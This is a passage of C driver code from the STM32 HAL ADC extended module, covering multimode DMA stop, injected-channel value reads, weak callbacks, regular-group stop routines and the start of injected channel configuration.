ADC_STATE_CLR_SET(hadc->State, (HAL_ADC_STATE_READY | HAL_ADC_STATE_REG_EOC | HAL_ADC_STATE_REG_OVR | HAL_ADC_STATE_REG_EOSMP), HAL_ADC_STATE_REG_BUSY); /* Set ADC error code to none */ ADC_CLEAR_ERRORCODE(hadc); /* Set the DMA transfer complete callback */ hadc->DMA_Handle->XferCpltCallback = ADC_DMAConvCplt; /* Set the DMA half transfer complete callback */ hadc->DMA_Handle->XferHalfCpltCallback = ADC_DMAHalfConvCplt; /* Set the DMA error callback */ hadc->DMA_Handle->XferErrorCallback = ADC_DMAError ; /* Pointer to the common control register */ tmpADC_Common = __LL_ADC_COMMON_INSTANCE(hadc->Instance); /* Manage ADC and DMA start: ADC overrun interruption, DMA start, ADC */ /* start (in case of SW start): */ /* Clear regular group conversion flag and overrun flag */ /* (To ensure of no unknown state from potential previous ADC operations) */ __HAL_ADC_CLEAR_FLAG(hadc, (ADC_FLAG_EOC | ADC_FLAG_EOS | ADC_FLAG_OVR)); /* Process unlocked */ /* Unlock before starting ADC conversions: in case of potential */ /* interruption, to let the process to ADC IRQ Handler. */ __HAL_UNLOCK(hadc); /* Enable ADC overrun interrupt */ __HAL_ADC_ENABLE_IT(hadc, ADC_IT_OVR); /* Start the DMA channel */ tmp_hal_status = HAL_DMA_Start_IT(hadc->DMA_Handle, (uint32_t)&tmpADC_Common->CDR, (uint32_t)pData, Length); /* Enable conversion of regular group. */ /* If software start has been selected, conversion starts immediately. */ /* If external trigger has been selected, conversion will start at next */ /* trigger event. */ /* Start ADC group regular conversion */ LL_ADC_REG_StartConversion(hadc->Instance); } else { /* Process unlocked */ __HAL_UNLOCK(hadc); } /* Return function status */ return tmp_hal_status; } } /** * @brief Stop multimode ADC conversion, disable ADC DMA transfer, disable ADC peripheral. * @note Multimode is kept enabled after this function. MultiMode DMA bits * (MDMA and DMACFG bits of common CCR register) are maintained. To disable * Multimode (set with HAL_ADCEx_MultiModeConfigChannel()), ADC must be * reinitialized using HAL_ADC_Init() or HAL_ADC_DeInit(), or the user can * resort to HAL_ADCEx_DisableMultiMode() API. * @note In case of DMA configured in circular mode, function * HAL_ADC_Stop_DMA() must be called after this function with handle of * ADC slave, to properly disable the DMA channel. * @param hadc ADC handle of ADC master (handle of ADC slave must not be used) * @retval HAL status */ HAL_StatusTypeDef HAL_ADCEx_MultiModeStop_DMA(ADC_HandleTypeDef *hadc) { HAL_StatusTypeDef tmp_hal_status; uint32_t tickstart; ADC_HandleTypeDef tmphadcSlave; uint32_t tmphadcSlave_conversion_on_going; HAL_StatusTypeDef tmphadcSlave_disable_status; /* Check the parameters */ assert_param(IS_ADC_MULTIMODE_MASTER_INSTANCE(hadc->Instance)); /* Process locked */ __HAL_LOCK(hadc); /* 1. Stop potential multimode conversion on going, on regular and injected groups */ tmp_hal_status = ADC_ConversionStop(hadc, ADC_REGULAR_INJECTED_GROUP); /* Disable ADC peripheral if conversions are effectively stopped */ if (tmp_hal_status == HAL_OK) { /* Temporary handle minimum initialization */ __HAL_ADC_RESET_HANDLE_STATE(&tmphadcSlave); ADC_CLEAR_ERRORCODE(&tmphadcSlave); /* Set a temporary handle of the ADC slave associated to the ADC master */ ADC_MULTI_SLAVE(hadc, &tmphadcSlave); if (tmphadcSlave.Instance == NULL) { /* Update ADC state machine to error */ SET_BIT(hadc->State, HAL_ADC_STATE_ERROR_CONFIG); /* Process unlocked */ __HAL_UNLOCK(hadc); return HAL_ERROR; } /* Procedure to disable the ADC peripheral: wait for conversions */ /* effectively stopped (ADC master and ADC slave), then disable ADC */ /* 1. Wait for ADC conversion completion for ADC master and ADC slave */ tickstart = HAL_GetTick(); tmphadcSlave_conversion_on_going = LL_ADC_REG_IsConversionOngoing((&tmphadcSlave)->Instance); while ((LL_ADC_REG_IsConversionOngoing(hadc->Instance) == 1UL) || (tmphadcSlave_conversion_on_going == 1UL) ) { if ((HAL_GetTick() - tickstart) > ADC_STOP_CONVERSION_TIMEOUT) { /* New check to avoid false timeout detection in case of preemption */ tmphadcSlave_conversion_on_going = LL_ADC_REG_IsConversionOngoing((&tmphadcSlave)->Instance); if ((LL_ADC_REG_IsConversionOngoing(hadc->Instance) == 1UL) || (tmphadcSlave_conversion_on_going == 1UL) ) { /* Update ADC state machine to error */ SET_BIT(hadc->State, HAL_ADC_STATE_ERROR_INTERNAL); /* Process unlocked */ __HAL_UNLOCK(hadc); return HAL_ERROR; } } tmphadcSlave_conversion_on_going = LL_ADC_REG_IsConversionOngoing((&tmphadcSlave)->Instance); } /* Disable the DMA channel (in case of DMA in circular mode or stop */ /* while DMA transfer is on going) */ /* Note: DMA channel of ADC slave should be stopped after this function */ /* with HAL_ADC_Stop_DMA() API. */ tmp_hal_status = HAL_DMA_Abort(hadc->DMA_Handle); /* Check if DMA channel effectively disabled */ if (tmp_hal_status == HAL_ERROR) { /* Update ADC state machine to error */ SET_BIT(hadc->State, HAL_ADC_STATE_ERROR_DMA); } /* Disable ADC overrun interrupt */ __HAL_ADC_DISABLE_IT(hadc, ADC_IT_OVR); /* 2. Disable the ADC peripherals: master and slave */ /* Update "tmp_hal_status" only if DMA channel disabling passed, to keep in */ /* memory a potential failing status. */ if (tmp_hal_status == HAL_OK) { tmphadcSlave_disable_status = ADC_Disable(&tmphadcSlave); if ((ADC_Disable(hadc) == HAL_OK) && (tmphadcSlave_disable_status == HAL_OK)) { tmp_hal_status = HAL_OK; } } else { /* In case of error, attempt to disable ADC master and slave without status assert */ (void) ADC_Disable(hadc); (void) ADC_Disable(&tmphadcSlave); } /* Set ADC state (ADC master) */ ADC_STATE_CLR_SET(hadc->State, HAL_ADC_STATE_REG_BUSY | HAL_ADC_STATE_INJ_BUSY, HAL_ADC_STATE_READY); } /* Process unlocked */ __HAL_UNLOCK(hadc); /* Return function status */ return tmp_hal_status; } /** * @brief Return the last ADC Master and Slave regular conversions results when in multimode configuration. * @param hadc ADC handle of ADC Master (handle of ADC Slave must not be used) * @retval The converted data values. */ uint32_t HAL_ADCEx_MultiModeGetValue(ADC_HandleTypeDef *hadc) { const ADC_Common_TypeDef *tmpADC_Common; /* Check the parameters */ assert_param(IS_ADC_MULTIMODE_MASTER_INSTANCE(hadc->Instance)); /* Prevent unused argument(s) compilation warning if no assert_param check */ /* and possible no usage in __LL_ADC_COMMON_INSTANCE() below */ UNUSED(hadc); /* Pointer to the common control register */ tmpADC_Common = __LL_ADC_COMMON_INSTANCE(hadc->Instance); /* Return the multi mode conversion value */ return tmpADC_Common->CDR; } #endif /* ADC_MULTIMODE_SUPPORT */ /** * @brief Get ADC injected group conversion result. * @note Reading register JDRx automatically clears ADC flag JEOC * (ADC group injected end of unitary conversion). * @note This function does not clear ADC flag JEOS * (ADC group injected end of sequence conversion) * Occurrence of flag JEOS rising: * - If sequencer is composed of 1 rank, flag JEOS is equivalent * to flag JEOC. * - If sequencer is composed of several ranks, during the scan * sequence flag JEOC only is raised, at the end of the scan sequence * both flags JEOC and EOS are raised. * Flag JEOS must not be cleared by this function because * it would not be compliant with low power features * (feature low power auto-wait, not available on all STM32 families). * To clear this flag, either use function: * in programming model IT: @ref HAL_ADC_IRQHandler(), in programming * model polling: @ref HAL_ADCEx_InjectedPollForConversion() * or @ref __HAL_ADC_CLEAR_FLAG(&hadc, ADC_FLAG_JEOS). * @param hadc ADC handle * @param InjectedRank the converted ADC injected rank. * This parameter can be one of the following values: * @arg @ref ADC_INJECTED_RANK_1 ADC group injected rank 1 * @arg @ref ADC_INJECTED_RANK_2 ADC group injected rank 2 * @arg @ref ADC_INJECTED_RANK_3 ADC group injected rank 3 * @arg @ref ADC_INJECTED_RANK_4 ADC group injected rank 4 * @retval ADC group injected conversion data */ uint32_t HAL_ADCEx_InjectedGetValue(ADC_HandleTypeDef *hadc, uint32_t InjectedRank) { uint32_t tmp_jdr; /* Check the parameters */ assert_param(IS_ADC_ALL_INSTANCE(hadc->Instance)); assert_param(IS_ADC_INJECTED_RANK(InjectedRank)); /* Get ADC converted value */ switch (InjectedRank) { case ADC_INJECTED_RANK_4: tmp_jdr = hadc->Instance->JDR4; break; case ADC_INJECTED_RANK_3: tmp_jdr = hadc->Instance->JDR3; break; case ADC_INJECTED_RANK_2: tmp_jdr = hadc->Instance->JDR2; break; case ADC_INJECTED_RANK_1: default: tmp_jdr = hadc->Instance->JDR1; break; } /* Return ADC converted value */ return tmp_jdr; } /** * @brief Injected conversion complete callback in non-blocking mode. * @param hadc ADC handle * @retval None */ __weak void HAL_ADCEx_InjectedConvCpltCallback(ADC_HandleTypeDef *hadc) { /* Prevent unused argument(s) compilation warning */ UNUSED(hadc); /* NOTE : This function should not be modified. When the callback is needed, function HAL_ADCEx_InjectedConvCpltCallback must be implemented in the user file. */ } /** * @brief Injected context queue overflow callback. * @note This callback is called if injected context queue is enabled (parameter "QueueInjectedContext" in injected channel configuration) and if a new injected context is set when queue is full (maximum 2 contexts). * @param hadc ADC handle * @retval None */ __weak void HAL_ADCEx_InjectedQueueOverflowCallback(ADC_HandleTypeDef *hadc) { /* Prevent unused argument(s) compilation warning */ UNUSED(hadc); /* NOTE : This function should not be modified. When the callback is needed, function HAL_ADCEx_InjectedQueueOverflowCallback must be implemented in the user file. */ } /** * @brief Analog watchdog 2 callback in non-blocking mode. * @param hadc ADC handle * @retval None */ __weak void HAL_ADCEx_LevelOutOfWindow2Callback(ADC_HandleTypeDef *hadc) { /* Prevent unused argument(s) compilation warning */ UNUSED(hadc); /* NOTE : This function should not be modified. When the callback is needed, function HAL_ADCEx_LevelOutOfWindow2Callback must be implemented in the user file. */ } /** * @brief Analog watchdog 3 callback in non-blocking mode. * @param hadc ADC handle * @retval None */ __weak void HAL_ADCEx_LevelOutOfWindow3Callback(ADC_HandleTypeDef *hadc) { /* Prevent unused argument(s) compilation warning */ UNUSED(hadc); /* NOTE : This function should not be modified. When the callback is needed, function HAL_ADCEx_LevelOutOfWindow3Callback must be implemented in the user file. */ } /** * @brief End Of Sampling callback in non-blocking mode. * @param hadc ADC handle * @retval None */ __weak void HAL_ADCEx_EndOfSamplingCallback(ADC_HandleTypeDef *hadc) { /* Prevent unused argument(s) compilation warning */ UNUSED(hadc); /* NOTE : This function should not be modified. When the callback is needed, function HAL_ADCEx_EndOfSamplingCallback must be implemented in the user file. */ } /** * @brief Stop ADC conversion of regular group (and injected channels in * case of auto_injection mode), disable ADC peripheral if no * conversion is on going on injected group. * @param hadc ADC handle * @retval HAL status. */ HAL_StatusTypeDef HAL_ADCEx_RegularStop(ADC_HandleTypeDef *hadc) { HAL_StatusTypeDef tmp_hal_status; /* Check the parameters */ assert_param(IS_ADC_ALL_INSTANCE(hadc->Instance)); /* Process locked */ __HAL_LOCK(hadc); /* 1. Stop potential regular conversion on going */ tmp_hal_status = ADC_ConversionStop(hadc, ADC_REGULAR_GROUP); /* Disable ADC peripheral if regular conversions are effectively stopped and if no injected conversions are on-going */ if (tmp_hal_status == HAL_OK) { /* Clear HAL_ADC_STATE_REG_BUSY bit */ CLEAR_BIT(hadc->State, HAL_ADC_STATE_REG_BUSY); if (LL_ADC_INJ_IsConversionOngoing(hadc->Instance) == 0UL) { /* 2. Disable the ADC peripheral */ tmp_hal_status = ADC_Disable(hadc); /* Check if ADC is effectively disabled */ if (tmp_hal_status == HAL_OK) { /* Set ADC state */ ADC_STATE_CLR_SET(hadc->State, HAL_ADC_STATE_INJ_BUSY, HAL_ADC_STATE_READY); } } /* Conversion on injected group is stopped, but ADC not disabled since */ /* conversion on regular group is still running. */ else { SET_BIT(hadc->State, HAL_ADC_STATE_INJ_BUSY); } } /* Process unlocked */ __HAL_UNLOCK(hadc); /* Return function status */ return tmp_hal_status; } /** * @brief Stop ADC conversion of ADC groups regular and injected, * disable interrution of end-of-conversion, * disable ADC peripheral if no conversion is on going * on injected group. * @param hadc ADC handle * @retval HAL status. */ HAL_StatusTypeDef HAL_ADCEx_RegularStop_IT(ADC_HandleTypeDef *hadc) { HAL_StatusTypeDef tmp_hal_status; /* Check the parameters */ assert_param(IS_ADC_ALL_INSTANCE(hadc->Instance)); /* Process locked */ __HAL_LOCK(hadc); /* 1. Stop potential regular conversion on going */ tmp_hal_status = ADC_ConversionStop(hadc, ADC_REGULAR_GROUP); /* Disable ADC peripheral if conversions are effectively stopped and if no injected conversion is on-going */ if (tmp_hal_status == HAL_OK) { /* Clear HAL_ADC_STATE_REG_BUSY bit */ CLEAR_BIT(hadc->State, HAL_ADC_STATE_REG_BUSY); /* Disable all regular-related interrupts */ __HAL_ADC_DISABLE_IT(hadc, (ADC_IT_EOC | ADC_IT_EOS | ADC_IT_OVR)); /* 2. Disable ADC peripheral if no injected conversions are on-going */ if (LL_ADC_INJ_IsConversionOngoing(hadc->Instance) == 0UL) { tmp_hal_status = ADC_Disable(hadc); /* if no issue reported */ if (tmp_hal_status == HAL_OK) { /* Set ADC state */ ADC_STATE_CLR_SET(hadc->State, HAL_ADC_STATE_INJ_BUSY, HAL_ADC_STATE_READY); } } else { SET_BIT(hadc->State, HAL_ADC_STATE_INJ_BUSY); } } /* Process unlocked */ __HAL_UNLOCK(hadc); /* Return function status */ return tmp_hal_status; } /** * @brief Stop ADC conversion of regular group (and injected group in * case of auto_injection mode), disable ADC DMA transfer, disable * ADC peripheral if no conversion is on going * on injected group. * @note HAL_ADCEx_RegularStop_DMA() function is dedicated to single-ADC mode only. * For multimode (when multimode feature is available), * HAL_ADCEx_RegularMultiModeStop_DMA() API must be used. * @param hadc ADC handle * @retval HAL status. */ HAL_StatusTypeDef HAL_ADCEx_RegularStop_DMA(ADC_HandleTypeDef *hadc) { HAL_StatusTypeDef tmp_hal_status; /* Check the parameters */ assert_param(IS_ADC_ALL_INSTANCE(hadc->Instance)); /* Process locked */ __HAL_LOCK(hadc); /* 1. Stop potential regular conversion on going */ tmp_hal_status = ADC_ConversionStop(hadc, ADC_REGULAR_GROUP); /* Disable ADC peripheral if conversions are effectively stopped and if no injected conversion is on-going */ if (tmp_hal_status == HAL_OK) { /* Clear HAL_ADC_STATE_REG_BUSY bit */ CLEAR_BIT(hadc->State, HAL_ADC_STATE_REG_BUSY); /* Disable ADC DMA (ADC DMA configuration ADC_CFGR_DMACFG is kept) */ CLEAR_BIT(hadc->Instance->CFGR, ADC_CFGR_DMAEN); /* Disable the DMA channel (in case of DMA in circular mode or stop while */ /* while DMA transfer is on going) */ tmp_hal_status = HAL_DMA_Abort(hadc->DMA_Handle); /* Check if DMA channel effectively disabled */ if (tmp_hal_status != HAL_OK) { /* Update ADC state machine to error */ SET_BIT(hadc->State, HAL_ADC_STATE_ERROR_DMA); } /* Disable ADC overrun interrupt */ __HAL_ADC_DISABLE_IT(hadc, ADC_IT_OVR); /* 2. Disable the ADC peripheral */ /* Update "tmp_hal_status" only if DMA channel disabling passed, */ /* to keep in memory a potential failing status. */ if (LL_ADC_INJ_IsConversionOngoing(hadc->Instance) == 0UL) { if (tmp_hal_status == HAL_OK) { tmp_hal_status = ADC_Disable(hadc); } else { (void)ADC_Disable(hadc); } /* Check if ADC is effectively disabled */ if (tmp_hal_status == HAL_OK) { /* Set ADC state */ ADC_STATE_CLR_SET(hadc->State, HAL_ADC_STATE_INJ_BUSY, HAL_ADC_STATE_READY); } } else { SET_BIT(hadc->State, HAL_ADC_STATE_INJ_BUSY); } } /* Process unlocked */ __HAL_UNLOCK(hadc); /* Return function status */ return tmp_hal_status; } #if defined(ADC_MULTIMODE_SUPPORT) /** * @brief Stop DMA-based multimode ADC conversion, disable ADC DMA transfer, disable ADC peripheral if no injected conversion is on-going. * @note Multimode is kept enabled after this function. Multimode DMA bits * (MDMA and DMACFG bits of common CCR register) are maintained. To disable * multimode (set with HAL_ADCEx_MultiModeConfigChannel()), ADC must be * reinitialized using HAL_ADC_Init() or HAL_ADC_DeInit(), or the user can * resort to HAL_ADCEx_DisableMultiMode() API. * @note In case of DMA configured in circular mode, function * HAL_ADCEx_RegularStop_DMA() must be called after this function with handle of * ADC slave, to properly disable the DMA channel. * @param hadc ADC handle of ADC master (handle of ADC slave must not be used) * @retval HAL status */ HAL_StatusTypeDef HAL_ADCEx_RegularMultiModeStop_DMA(ADC_HandleTypeDef *hadc) { HAL_StatusTypeDef tmp_hal_status; uint32_t tickstart; ADC_HandleTypeDef tmphadcSlave; uint32_t tmphadcSlave_conversion_on_going; /* Check the parameters */ assert_param(IS_ADC_MULTIMODE_MASTER_INSTANCE(hadc->Instance)); /* Process locked */ __HAL_LOCK(hadc); /* 1. Stop potential multimode conversion on going, on regular groups */ tmp_hal_status = ADC_ConversionStop(hadc, ADC_REGULAR_GROUP); /* Disable ADC peripheral if conversions are effectively stopped */ if (tmp_hal_status == HAL_OK) { /* Clear HAL_ADC_STATE_REG_BUSY bit */ CLEAR_BIT(hadc->State, HAL_ADC_STATE_REG_BUSY); /* Temporary handle minimum initialization */ __HAL_ADC_RESET_HANDLE_STATE(&tmphadcSlave); ADC_CLEAR_ERRORCODE(&tmphadcSlave); /* Set a temporary handle of the ADC slave associated to the ADC master */ ADC_MULTI_SLAVE(hadc, &tmphadcSlave); if (tmphadcSlave.Instance == NULL) { /* Update ADC state machine to error */ SET_BIT(hadc->State, HAL_ADC_STATE_ERROR_CONFIG); /* Process unlocked */ __HAL_UNLOCK(hadc); return HAL_ERROR; } /* Procedure to disable the ADC peripheral: wait for conversions */ /* effectively stopped (ADC master and ADC slave), then disable ADC */ /* 1. Wait for ADC conversion completion for ADC master and ADC slave */ tickstart = HAL_GetTick(); tmphadcSlave_conversion_on_going = LL_ADC_REG_IsConversionOngoing((&tmphadcSlave)->Instance); while ((LL_ADC_REG_IsConversionOngoing(hadc->Instance) == 1UL) || (tmphadcSlave_conversion_on_going == 1UL) ) { if ((HAL_GetTick() - tickstart) > ADC_STOP_CONVERSION_TIMEOUT) { /* New check to avoid false timeout detection in case of preemption */ tmphadcSlave_conversion_on_going = LL_ADC_REG_IsConversionOngoing((&tmphadcSlave)->Instance); if ((LL_ADC_REG_IsConversionOngoing(hadc->Instance) == 1UL) || (tmphadcSlave_conversion_on_going == 1UL) ) { /* Update ADC state machine to error */ SET_BIT(hadc->State, HAL_ADC_STATE_ERROR_INTERNAL); /* Process unlocked */ __HAL_UNLOCK(hadc); return HAL_ERROR; } } tmphadcSlave_conversion_on_going = LL_ADC_REG_IsConversionOngoing((&tmphadcSlave)->Instance); } /* Disable the DMA channel (in case of DMA in circular mode or stop */ /* while DMA transfer is on going) */ /* Note: DMA channel of ADC slave should be stopped after this function */ /* with HAL_ADCEx_RegularStop_DMA() API. */ tmp_hal_status = HAL_DMA_Abort(hadc->DMA_Handle); /* Check if DMA channel effectively disabled */ if (tmp_hal_status != HAL_OK) { /* Update ADC state machine to error */ SET_BIT(hadc->State, HAL_ADC_STATE_ERROR_DMA); } /* Disable ADC overrun interrupt */ __HAL_ADC_DISABLE_IT(hadc, ADC_IT_OVR); /* 2. Disable the ADC peripherals: master and slave if no injected */ /* conversion is on-going. */ /* Update "tmp_hal_status" only if DMA channel disabling passed, to keep in */ /* memory a potential failing status. */ if (tmp_hal_status == HAL_OK) { if (LL_ADC_INJ_IsConversionOngoing(hadc->Instance) == 0UL) { tmp_hal_status = ADC_Disable(hadc); if (tmp_hal_status == HAL_OK) { if (LL_ADC_INJ_IsConversionOngoing((&tmphadcSlave)->Instance) == 0UL) { tmp_hal_status = ADC_Disable(&tmphadcSlave); } } } if (tmp_hal_status == HAL_OK) { /* Both Master and Slave ADC's could be disabled. Update Master State */ /* Clear HAL_ADC_STATE_INJ_BUSY bit, set HAL_ADC_STATE_READY bit */ ADC_STATE_CLR_SET(hadc->State, HAL_ADC_STATE_INJ_BUSY, HAL_ADC_STATE_READY); } else { /* injected (Master or Slave) conversions are still on-going, no Master State change */ } } } /* Process unlocked */ __HAL_UNLOCK(hadc); /* Return function status */ return tmp_hal_status; } #endif /* ADC_MULTIMODE_SUPPORT */ /** * @} */ /** @defgroup ADCEx_Exported_Functions_Group2 ADC Extended Peripheral Control functions * @brief ADC Extended Peripheral Control functions * @verbatim =============================================================================== ##### Peripheral Control functions ##### =============================================================================== [..] This section provides functions allowing to: (+) Configure channels on injected group (+) Configure multimode when multimode feature is available (+) Enable or Disable Injected Queue (+) Disable ADC voltage regulator (+) Enter ADC deep-power-down mode @endverbatim * @{ */ /** * @brief Configure a channel to be assigned to ADC group injected. * @note Possibility to update parameters on the fly: * This function initializes injected group, following calls to this * function can be used to reconfigure some parameters of structure * "ADC_InjectionConfTypeDef" on the fly, without resetting the ADC. * The setting of these parameters is conditioned to ADC state: * Refer to comments of structure "ADC_InjectionConfTypeDef". * @note In case of usage of internal measurement channels: * Vbat/VrefInt/TempSensor. * These internal paths can be disabled using function * HAL_ADC_DeInit(). * @note Caution: For Injected Context Queue use, a context must be fully * defined before start of injected conversion. All channels are configured * consecutively for the same ADC instance. Therefore, the number of calls to * HAL_ADCEx_InjectedConfigChannel() must be equal to the value of parameter * InjectedNbrOfConversion for each context. * - Example 1: If 1 context is intended to be used (or if there is no use of the * Injected Queue Context feature) and if the context contains 3 injected ranks * (InjectedNbrOfConversion = 3), HAL_ADCEx_InjectedConfigChannel() must be * called once for each channel (i.e. 3 times) before starting a conversion. * This function must not be called to configure a 4th injected channel: * it would start a new context into context queue. * - Example 2: If 2 contexts are intended to be used and each of them contains * 3 injected ranks (InjectedNbrOfConversion = 3), * HAL_ADCEx_InjectedConfigChannel() must be called once for each channel and * for each context (3 channels x 2 contexts = 6 calls). Conversion can * start once the 1st context is set, that is after the first three * HAL_ADCEx_InjectedConfigChannel() calls. The 2nd context can be set on the fly. * @param hadc ADC handle * @param sConfigInjected Structure of ADC injected group and ADC channel for * injected group. * @retval HAL status */ HAL_StatusTypeDef HAL_ADCEx_InjectedConfigChannel(ADC_HandleTypeDef *hadc, ADC_InjectionConfTypeDef *sConfigInjected) { HAL_StatusTypeDef tmp_hal_status = HAL_OK; uint32_t tmpOffsetShifted; uint32_t tmp_config_internal_channel; uint32_t tmp_adc_is_conversion_on_going_regular; uint32_t tmp_adc_is_conversion_on_going_injected; __IO uint32_t wait_loop_index = 0; uint32_t tmp_JSQR_ContextQueueBeingBuilt = 0U; /* Check the parameters */ assert_param(IS_ADC_ALL_INSTANCE(hadc->Instance)); assert_param(IS_ADC_SAMPLE_TIME(sConfigInjected->InjectedSamplingTime)); assert_param(IS_ADC_SINGLE_DIFFERENTIAL(sConfigInjected->InjectedSingleDiff)); assert_param(IS_FUNCTIONAL_STATE(sConfigInjected->AutoInjectedConv)); assert_param(IS_FUNCTIONAL_STATE(sConfigInjected->QueueInjectedContext)); assert_param(IS_ADC_EXTTRIGINJEC_EDGE(sConfigInjected->ExternalTrigInjecConvEdge)); assert_param(IS_ADC_EXTTRIGINJEC(hadc, sConfigInjected->ExternalTrigInjecConv)); assert_param(IS_ADC_OFFSET_NUMBER(sConfigInjected->InjectedOffsetNumber)); assert_param(IS_ADC_RANGE(ADC_GET_RESOLUTION(hadc), sConfigInjected->InjectedOffset)); assert_param(IS_FUNCTIONAL_STATE(sConfigInjected->InjecOversamplingMode)); if (hadc->Init.ScanConvMode != ADC_SCAN_DISABLE) { assert_param(IS_ADC_INJECTED_RANK(sConfigInjected->InjectedRank)); assert_param(IS_ADC_INJECTED_NB_CONV(sConfigInjected->InjectedNbrOfConversion)); assert_param(IS_FUNCTIONAL_STATE(sConfigInjected->InjectedDiscontinuousConvMode)); } /* if JOVSE is set, the value of the OFFSETy_EN bit in ADCx_OFRy register is ignored (considered as reset) */ assert_param(!((sConfigInjected->InjectedOffsetNumber != ADC_OFFSET_NONE) && (sConfigInjected->InjecOversamplingMode == ENABLE))); /* JDISCEN and JAUTO bits can't be set at the same time */ assert_param(!((sConfigInjected->InjectedDiscontinuousConvMode == ENABLE) && (sConfigInjected->AutoInjectedConv == ENABLE))); /* DISCEN and JAUTO bits can't be set at the same time */ assert_param(!((hadc->Init.DiscontinuousConvMode == ENABLE) && (sConfigInjected->AutoInjectedConv == ENABLE))); /* Verification of channel number */ if (sConfigInjected->InjectedSingleDiff != ADC_DIFFERENTIAL_ENDED) { assert_param(IS_ADC_CHANNEL(hadc, sConfigInjected->InjectedChannel)); } else { assert_param(IS_ADC_DIFF_CHANNEL(hadc, sConfigInjected->InjectedChannel)); } /* Process locked */ __HAL_LOCK(hadc); /* Configuration of injected group sequencer: */ /* Hardware constraint: Must fully define injected context register JSQR */ /* before make it entering into injected sequencer queue. */ /* */ /* - if scan mode is disabled: */ /* * Injected channels sequence length is set to 0x00: 1 channel */ /* converted (channel on injected rank 1) */ /* Parameter "InjectedNbrOfConversion" is discarded. */ /* * Injected context register JSQR setting is simple: register is fully */ /* defined on one call of this function (for injected rank 1) and can */ /* be entered into queue directly. */ /* - if scan mode is enabled: */ /* * Injected channels sequence length is set to parameter */ /* "InjectedNbrOfConversion". */ /* * Injected context register JSQR setting more complex: register is */ /* fully defined over successive calls of this function, for each */ /* injected channel rank. It is entered into queue only when all */ /* injected ranks have been set. */ /* Note: Scan mode is not present by hardware on this device, but used */ /* by software for alignment over all STM32 devices. */ if ((hadc->Init.ScanConvMode == ADC_SCAN_DISABLE) || (sConfigInjected->InjectedNbrOfConversion == 1U)) { /* Configuration of context register JSQR: */ /* - number of ranks in injected group sequencer: fixed to 1st rank */ /* (scan mode disabled, only rank 1 used) */ /* - external trigger to start conversion */ /* - external trigger polarity */ /* - channel set to rank 1 (scan mode disabled, only rank 1 can be used) */ if (sConfigInjected->InjectedRank == ADC_INJECTED_RANK_1) { /* Enable external trigger if trigger selection is different of */ /* software start. */ /* Note: This configuration keeps the hardware feature of parameter */ /* ExternalTrigInjecConvEdge "trigger edge none" equivalent to */ /* software start. */ if (sConfigInjected->ExternalTrigInjecConv != ADC_INJECTED_SOFTWARE_START) { tmp_JSQR_ContextQueueBeingBuilt = (ADC_JSQR_RK(sConfigInjected->InjectedChannel, ADC_INJECTED_RANK_1) | (sConfigInjected->ExternalTrigInjecConv & ADC_JSQR_JEXTSEL) | sConfigInjected->ExternalTrigInjecConvEdge ); } else { tmp_JSQR_ContextQueueBeingBuilt = (ADC_JSQR_RK(sConfigInjected->InjectedChannel, ADC_INJECTED_RANK_1)); } MODIFY_REG(hadc->Instance->JSQR, ADC_JSQR_FIELDS, tmp_JSQR_ContextQueueBeingBuilt); /* For debug and informative reasons, hadc handle saves JSQR setting */ hadc->InjectionConfig.ContextQueue = tmp_JSQR_ContextQueueBeingBuilt; } } else { /* Case of scan mode enabled, several channels to set into injected group */ /* sequencer. */ /* */ /* Procedure to define injected context register JSQR over successive */ /* calls of this function, for each injected channel rank: */ /* 1. Start new context and set parameters related to all injected */ /* channels: injected sequence length and trigger. */ /* if hadc->InjectionConfig.ChannelCount is equal to 0, this is the first */ /* call of the context under setting */ if (hadc->InjectionConfig.ChannelCount == 0U) { /* Initialize number of channels that will be configured on the context */ /* being built */ hadc->InjectionConfig.ChannelCount = sConfigInjected->InjectedNbrOfConversion; /* Handle hadc saves the context under build up over each HAL_ADCEx_InjectedConfigChannel() call, this context will be written in JSQR register at the last call. At this point, the context is merely reset */ hadc->InjectionConfig.ContextQueue = 0x00000000U; /* Configuration of context register JSQR: */ /* - number of ranks in injected group sequencer */ /* - external trigger to start conversion */ /* - external trigger polarity */ /* Enable external trigger if trigger selection is different of */ /* software start. */ /* Note: This configuration keeps the hardware feature of parameter */ /* ExternalTrigInjecConvEdge "trigger edge none" equivalent to */ /* software start. */ if (sConfigInjected->ExternalTrigInjecConv != ADC_INJECTED_SOFTWARE_START) { tmp_JSQR_ContextQueueBeingBuilt = ((sConfigInjected->InjectedNbrOfConversion - 1U) | (sConfigInjected->ExternalTrigInjecConv & ADC_JSQR_JEXTSEL) | sConfigInjected->ExternalTrigInjecConvEdge ); } else { tmp_JSQR_ContextQueueBeingBuilt = ((sConfigInjected->InjectedNbrOfConversion - 1U)); } } /* 2. Continue setting of context under definition with parameter */ /* related to each channel: channel rank sequence */ /* Clear the old JSQx bits for the selected rank */ tmp_JSQR_ContextQueueBeingBuilt &= ~ADC_JSQR_RK(ADC_SQR3_SQ10, sConfigInjected->InjectedRank); /* Set the JSQx bits for the selected rank */ tmp_JSQR_ContextQueueBeingBuilt |= ADC_JSQR_RK(sConfigInjected->InjectedChannel, sConfigInjected->InjectedRank); /* Decrease channel count */ hadc->InjectionConfig.ChannelCount--; /* 3. tmp_JSQR_ContextQueueBeingBuilt is fully built for this HAL_ADCEx_InjectedConfigChannel() call, aggregate the setting to those already built during the previous HAL_ADCEx_InjectedConfigChannel() calls (for the same context of course) */ hadc->InjectionConfig.ContextQueue |= tmp_JSQR_ContextQueueBeingBuilt; /* 4. End of context setting: if this is the last channel set, then write context into register JSQR and make it enter into queue */ if (hadc->InjectionConfig.ChannelCount == 0U) { MODIFY_REG(hadc->Instance->JSQR, ADC_JSQR_FIELDS, hadc->InjectionConfig.ContextQueue); } } /* Parameters update conditioned to ADC state: */ /* Parameters that can be updated when ADC is disabled or enabled without */ /* conversion on going on injected group: */ /* - Injected context queue: Queue disable (active context is kept) or */ /* enable (context decremented, up to 2 contexts queued) */ /* - Injected discontinuous mode: can be enabled only if auto-injected */ /* mode is disabled. */ if (LL_ADC_INJ_IsConversionOngoing(hadc->Instance) == 0UL) { /* If auto-injected mode is disabled: no constraint */ if (sConfigInjected->AutoInjectedConv == DISABLE) { MODIFY_REG(hadc->Instance->CFGR, ADC_CFGR_JQM | ADC_CFGR_JDISCEN, ADC_CFGR_INJECT_CONTEXT_QUEUE((uint32_t)sConfigInjected->QueueInjectedContext) | ADC_CFGR_INJECT_DISCCONTINUOUS((uint32_t)sConfigInjected->InjectedDiscontinuousConvMode)); } /* If auto-injected mode is enabled: Injected discontinuous setting is */ /* discarded. */ else { 